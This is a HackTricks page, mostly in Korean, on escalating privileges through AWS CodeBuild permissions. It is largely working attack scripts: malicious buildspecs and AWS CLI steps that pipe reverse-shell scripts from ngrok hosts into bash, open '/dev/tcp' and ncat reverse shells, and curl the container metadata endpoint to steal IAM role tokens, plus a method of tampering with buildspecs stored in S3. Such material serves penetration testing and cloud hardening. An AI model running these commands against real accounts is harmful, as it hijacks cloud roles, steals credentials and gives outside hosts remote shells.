AWS - Codebuild Privesc

HackTricks 지원

codebuild

자세한 정보는 다음을 참조하세요:

AWS - Codebuild Enum

iam:PassRole, codebuild:CreateProject, (codebuild:StartBuild | codebuild:StartBuildBatch)

iam:PassRole, codebuild:CreateProject, codebuild:StartBuild 또는 codebuild:StartBuildBatch 권한을 가진 공격자는 codebuild IAM 역할로 권한을 상승시킬 수 있습니다.

# Enumerate then env and get creds
REV="env\\\\n      - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"

# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | bash"

JSON="{
\"name\": \"codebuild-demo-project\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n  build:\\\\n    commands:\\\\n      - $REV\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"aws/codebuild/standard:1.0\",
\"computeType\": \"BUILD_GENERAL1_SMALL\"
},
\"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\"
}"


REV_PATH="/tmp/rev.json"

printf "$JSON" > $REV_PATH

# Create project
aws codebuild create-project --cli-input-json file://$REV_PATH

# Build it
aws codebuild start-build --project-name codebuild-demo-project

# Wait 3-4 mins until it's executed
# Then you can access the logs in the console to find the AWS role token in the output

# Delete the project
aws codebuild delete-project --name codebuild-demo-project

Potential Impact: Direct privesc to any AWS Codebuild role.

Codebuild container에서 /codebuild/output/tmp/env.sh 파일은 metadata credentials에 접근하는 데 필요한 모든 환경 변수를 포함하고 있습니다.

이 파일에는 AWS_CONTAINER_CREDENTIALS_RELATIVE_URI 환경 변수가 포함되어 있으며, 이는 자격 증명에 접근할 수 있는 URL 경로를 포함하고 있습니다. 예를 들어, /v2/credentials/2817702c-efcf-4485-9730-8e54303ec420와 같은 형식입니다.

이 경로를 http://169.254.170.2/ URL에 추가하면 역할 자격 증명을 덤프할 수 있습니다.

또한, ECS_CONTAINER_METADATA_URI 환경 변수가 포함되어 있으며, 이는 컨테이너에 대한 메타데이터 정보를 얻기 위한 전체 URL을 포함하고 있습니다.

iam:PassRole, codebuild:UpdateProject, (codebuild:StartBuild | codebuild:StartBuildBatch)

이전 섹션과 마찬가지로, 빌드 프로젝트를 생성하는 대신 수정할 수 있다면, IAM Role을 지정하고 토큰을 훔칠 수 있습니다.

REV_PATH="/tmp/codebuild_pwn.json"

# Enumerate then env and get creds
REV="env\\\\n      - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"

# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | bash"

# You need to indicate the name of the project you want to modify
JSON="{
\"name\": \"<codebuild-demo-project>\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n  build:\\\\n    commands:\\\\n      - $REV\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"aws/codebuild/standard:1.0\",
\"computeType\": \"BUILD_GENERAL1_SMALL\"
},
\"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\"
}"

printf "$JSON" > $REV_PATH

aws codebuild update-project --cli-input-json file://$REV_PATH

aws codebuild start-build --project-name codebuild-demo-project

잠재적 영향: 모든 AWS Codebuild 역할에 대한 직접적인 권한 상승.

codebuild:StartBuild | codebuild:StartBuildBatch

이 권한 중 하나만 있어도 새로운 buildspec으로 빌드를 트리거하고 프로젝트에 할당된 iam 역할의 토큰을 탈취할 수 있습니다:

cat > /tmp/builspec.yml <<EOF
version: 0.2

phases:
build:
commands:
- curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh
EOF

aws codebuild start-build --project <project-name> --buildspec-override file:///tmp/builspec.yml

잠재적 영향: 연결된 AWS Codebuild 역할에 대한 직접적인 privesc.

codebuild:UpdateProject, (codebuild:StartBuild | codebuild:StartBuildBatch)

이전 섹션과 마찬가지로 iam:PassRole 권한 없이, 이 권한을 남용하여 기존 Codebuild 프로젝트를 수정하고 이미 할당된 역할에 접근할 수 있습니다.

REV_PATH="/tmp/codebuild_pwn.json"

# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh"

# You need to indicate the name of the project you want to modify
JSON="{
\"name\": \"codebuild_lab_3_project\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nbatch:\\\\n  fast-fail: false\\\\n  build-list:\\\\n    - identifier: build1\\\\n      env:\\\\n        variables:\\\\n          BUILD_ID: build1\\\\n      buildspec: |\\\\n        version: 0.2\\\\n        env:\\\\n          shell: sh\\\\n        phases:\\\\n          build:\\\\n            commands:\\\\n              - curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh\\\\n      ignore-failure: true\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"public.ecr.aws/h0h9t7p1/alpine-bash-curl-jq:latest\",
\"computeType\": \"BUILD_GENERAL1_SMALL\",
\"imagePullCredentialsType\": \"CODEBUILD\"
}
}"

printf "$JSON" > $REV_PATH

# Note how it's used a image from AWS public ECR instead from docjerhub as dockerhub rate limits CodeBuild!

aws codebuild update-project --cli-input-json file://$REV_PATH

aws codebuild start-build-batch --project-name codebuild-demo-project

Potential Impact: AWS Codebuild 역할에 대한 직접적인 권한 상승.

SSM

ssm 세션을 시작할 수 있는 충분한 권한이 있으면 빌드 중인 Codebuild 프로젝트 내부로 들어갈 수 있습니다.

Codebuild 프로젝트에는 중단점이 필요합니다:

phases:
pre_build:
commands:
- echo Entered the pre_build phase...
- echo "Hello World" > /tmp/hello-world
      - codebuild-breakpoint

그리고 나서:

aws codebuild batch-get-builds --ids <buildID> --region <region> --output json
aws ssm start-session --target <sessionTarget> --region <region>

For more info check the docs.

(codebuild:StartBuild | codebuild:StartBuildBatch), s3:GetObject, s3:PutObject

공격자가 특정 CodeBuild 프로젝트의 빌드를 시작/재시작할 수 있고, 해당 프로젝트의 buildspec.yml 파일이 공격자가 쓰기 권한을 가진 S3 버킷에 저장되어 있는 경우, CodeBuild 프로세스에서 명령어 실행을 얻을 수 있습니다.

참고: 이 권한 상승은 CodeBuild 작업자가 공격자보다 더 높은 권한을 가진 다른 역할을 가지고 있는 경우에만 관련이 있습니다.

aws s3 cp s3://<build-configuration-files-bucket>/buildspec.yml ./

vim ./buildspec.yml

# Add the following lines in the "phases > pre_builds > commands" section
#
#    - apt-get install nmap -y
#    - ncat <IP> <PORT> -e /bin/sh

aws s3 cp ./buildspec.yml s3://<build-configuration-files-bucket>/buildspec.yml

aws codebuild start-build --project-name <project-name>

# Wait for the reverse shell :)

다음과 같은 builspec을 사용하여 reverse shell을 얻을 수 있습니다:

buildspec.yml
version: 0.2

phases:
build:
commands:
- bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18419 0>&1

Impact: AWS CodeBuild 작업자가 사용하는 역할로 직접적인 권한 상승이 발생할 수 있으며, 이는 일반적으로 높은 권한을 가집니다.

buildspec이 zip 형식으로 예상될 수 있으므로, 공격자는 buildspec.yml을 루트 디렉토리에서 다운로드, 압축 해제, 수정, 다시 압축 및 업로드해야 합니다.

자세한 내용은 여기에서 확인할 수 있습니다.

Potential Impact: 연결된 AWS Codebuild 역할로 직접적인 권한 상승이 발생할 수 있습니다.

HackTricks 지원하기

Last updated